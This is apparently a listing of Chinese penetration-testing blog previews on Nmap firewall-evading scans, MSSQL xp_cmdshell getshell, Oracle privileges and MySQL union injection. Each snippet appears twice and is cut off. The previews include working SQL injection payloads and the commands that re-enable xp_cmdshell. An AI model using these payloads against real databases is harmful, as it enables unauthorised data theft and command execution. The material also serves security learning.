前言在打靶场的过程中使用Nmap时发现点小问题，借此机会详细分析下情况，于是有了这篇文章。本文包含以下内容：Nmap抓包分析内网下绕过Windows防火墙扫描存活主机这里主要是针对Nmap进行讨论，实战中当然哪个快用哪个。不过万变不离其宗，哪怕稍微了解下其原理都受益无穷。防火墙这里的防火墙值得是Windowsserver自带的防火墙，主要绕过其两个防御规则：1.禁止ICMP回显2.隐藏模式具体见StealthModeinWindowsFirewallwithAdvancedSecurity，大意为：不会使用ICMP不可达响应UDP查询，不使用RST响应TCP查询。默认开启。https://sh
前言在打靶场的过程中使用Nmap时发现点小问题，借此机会详细分析下情况，于是有了这篇文章。本文包含以下内容：Nmap抓包分析内网下绕过Windows防火墙扫描存活主机这里主要是针对Nmap进行讨论，实战中当然哪个快用哪个。不过万变不离其宗，哪怕稍微了解下其原理都受益无穷。防火墙这里的防火墙值得是Windowsserver自带的防火墙，主要绕过其两个防御规则：1.禁止ICMP回显2.隐藏模式具体见StealthModeinWindowsFirewallwithAdvancedSecurity，大意为：不会使用ICMP不可达响应UDP查询，不使用RST响应TCP查询。默认开启。https://sh
更新时间2022年09月06日16:20:10完成nmap介绍，目标选择，主机发现部分2022年10月28日21:19:20完成最基本的内容，端口扫描，版本和系统探测，安全其他等打算的更新计划：更多案例和图片，导出xml文件转为Excel分析（周末先休息一下吧）nmapnmap（NetworkMapper）是免费、开源的网络发现和安全审计工具，通常我们用于收集网络中的比如主机和端口等信息，从而为下一步的攻击提供突破口，制定攻击的计划。也可为网络管理员使用，从而针对性修复可能暴露的安全漏洞。具体的功能介绍可以登录官网https://nmap.org，来获取软件包和官方教程。当我们下载好nmap后
更新时间2022年09月06日16:20:10完成nmap介绍，目标选择，主机发现部分2022年10月28日21:19:20完成最基本的内容，端口扫描，版本和系统探测，安全其他等打算的更新计划：更多案例和图片，导出xml文件转为Excel分析（周末先休息一下吧）nmapnmap（NetworkMapper）是免费、开源的网络发现和安全审计工具，通常我们用于收集网络中的比如主机和端口等信息，从而为下一步的攻击提供突破口，制定攻击的计划。也可为网络管理员使用，从而针对性修复可能暴露的安全漏洞。具体的功能介绍可以登录官网https://nmap.org，来获取软件包和官方教程。当我们下载好nmap后
MSSQLGetShell扩展存储过程扩展存储简介在MSSQL注入攻击过程中，最长利用的扩展存储如下xp_cmdshell详细使用方法：xp_cmdshell默认在mssql2000中是开启的，在mssql2005之后的版本中则默认禁止 。如果用户拥有管理员sysadmin 权限则可以用sp_configure重新开启它execute('sp_configure"showadvancedoptions",1') #将该选项的值设置为1execute('reconfigure') #保存设置execute('sp_configure"xp_cmdshell",1')
MSSQLGetShell扩展存储过程扩展存储简介在MSSQL注入攻击过程中，最长利用的扩展存储如下xp_cmdshell详细使用方法：xp_cmdshell默认在mssql2000中是开启的，在mssql2005之后的版本中则默认禁止 。如果用户拥有管理员sysadmin 权限则可以用sp_configure重新开启它execute('sp_configure"showadvancedoptions",1') #将该选项的值设置为1execute('reconfigure') #保存设置execute('sp_configure"xp_cmdshell",1')
OracleOracle权限分类权限是用户对一项功能的执行权力。在Oracle中，根据系统的管理方式不同，将Oracle权限分为系统权限与实体权限两类。系统权限是指是否被授权用户可以连接到数据库上，在数据库中可以进行哪些系统操作。而实体权限是指用户对具体的模式实体(schema)所拥有的权限。系统权限管理系统权限：系统规定用户使用数据库的权限。（系统权限是对用户而言)。DBA:拥有全部特权，是系统最高权限，只有DBA才可以创建数据库结构RESOURCE:拥有Resource权限的用户只可以创建实体，不可以创建数据库结构CONNECT:拥有Connect权限的用户只可以登录Oracle，不可以创
OracleOracle权限分类权限是用户对一项功能的执行权力。在Oracle中，根据系统的管理方式不同，将Oracle权限分为系统权限与实体权限两类。系统权限是指是否被授权用户可以连接到数据库上，在数据库中可以进行哪些系统操作。而实体权限是指用户对具体的模式实体(schema)所拥有的权限。系统权限管理系统权限：系统规定用户使用数据库的权限。（系统权限是对用户而言)。DBA:拥有全部特权，是系统最高权限，只有DBA才可以创建数据库结构RESOURCE:拥有Resource权限的用户只可以创建实体，不可以创建数据库结构CONNECT:拥有Connect权限的用户只可以登录Oracle，不可以创
MYSQL基础注入联合查询若前面的查询结果不为空，则返回两次查询的值：若前面的查询结果为空，则只返回union查询的值：关键字unionselect需要字段数对应常用Payload：#查询表名'unionselectgroup_concat(table_name)frominformation_schema.tableswheretable_schema=database()%23#查询字段名'unionselectgroup_concat(column_name)frominformation_schema.columnswheretable_name='table1'%23报错注入报错注
MYSQL基础注入联合查询若前面的查询结果不为空，则返回两次查询的值：若前面的查询结果为空，则只返回union查询的值：关键字unionselect需要字段数对应常用Payload：#查询表名'unionselectgroup_concat(table_name)frominformation_schema.tableswheretable_schema=database()%23#查询字段名'unionselectgroup_concat(column_name)frominformation_schema.columnswheretable_name='table1'%23报错注入报错注
